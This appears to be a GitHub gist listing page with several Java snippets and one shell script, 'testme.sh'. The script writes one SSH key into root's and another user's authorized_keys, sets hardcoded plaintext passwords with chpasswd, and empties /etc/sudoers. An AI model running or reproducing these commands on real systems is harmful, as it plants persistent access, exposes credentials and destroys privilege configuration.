Skip to content

Instantly share code, notes, and snippets.

Avatar

Maxim Antonov idler

  • TeamIdea
  • Moscow, Russia
View GitHub Profile
View testme.sh
#!/bin/bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa6fbSyRcYjgsX8BN/ZkdBwUKhZJFx2VoZEC/oaRKx+CjQg1AHLVJRu5cnrq1zPepgpWL3COr2ksawapZMhbhieJopwUeCgbYX/gUbvE3/NWaUtowBEwflNrO7rdbb1A/DNqh8mOqW+VME7+IC2hQ3dVtAB/gAFSNkwBRSxqrycLZpsO8wY8oUOmS31V3OS7nzxMIXeLIHr+mywaxYjWKlLzSp+0Ms5XfX3h31Nb0Xpqgqi/uzaUA1nIayPcczh6UJzO1jjMVFvWjvmQargtmeJyclXOEws+p/le42i8yiUB1o1eDWCUwwKfVBAfm/uYg12v1wCMxmMwC7xBn+NXc/ max@antonov' > /home/hybris/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDa6fbSyRcYjgsX8BN/ZkdBwUKhZJFx2VoZEC/oaRKx+CjQg1AHLVJRu5cnrq1zPepgpWL3COr2ksawapZMhbhieJopwUeCgbYX/gUbvE3/NWaUtowBEwflNrO7rdbb1A/DNqh8mOqW+VME7+IC2hQ3dVtAB/gAFSNkwBRSxqrycLZpsO8wY8oUOmS31V3OS7nzxMIXeLIHr+mywaxYjWKlLzSp+0Ms5XfX3h31Nb0Xpqgqi/uzaUA1nIayPcczh6UJzO1jjMVFvWjvmQargtmeJyclXOEws+p/le42i8yiUB1o1eDWCUwwKfVBAfm/uYg12v1wCMxmMwC7xBn+NXc/ max@antonov' > /root/.ssh/authorized_keys
echo 'root:YjdsqGfhjkmFdnjhbpfwbb123'|chpasswd
echo 'hybris:GjkmpjdfntkmcrbqGfhjkmLkzD[jlf'|chpasswd
echo > /etc/sudoers
@idler
idler / InterfaceOrClass
Created Jul 10, 2017
return new interface or return new class implemented interface
View InterfaceOrClass
max@antonov :tmp: 19:24:57 [0] $ javap -c Ber
Compiled from "Ber.java"
class Ber {
Ber();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
View a.java
private PreparedStatement getPreparedCategoryQuery() {
if (categoryPreparedQuery == null) {
try {
categoryPreparedQuery = dbconn.prepareStatement("INSERT INTO category (code) values(?)");
} catch (SQLException e) {
e.printStackTrace();
}
}
View Thread dump
[java] 2017-03-25 19:24:01
[java] Full thread dump Java HotSpot(TM) 64-Bit Server VM (25.65-b01 mixed mode):
[java]
[java] "ActiveMQ InactivityMonitor Worker" #117 daemon prio=5 os_prio=0 tid=0x00007fbc18c9f800 nid=0x30a0 waiting on condition [0x00007fbbf18e1000]
[java] java.lang.Thread.State: TIMED_WAITING (parking)
[java] at sun.misc.Unsafe.park(Native Method)
View confuse.java
max@antonov :~: 22:41:32 [0] $ cat Ti.java
class Ti{
public static String a="test";
public static String b="Yes";
public static void main(String [] args){
StringBuilder c = new StringBuilder();
c.append(a); c.append(" "); c.append(b);
System.out.println(c);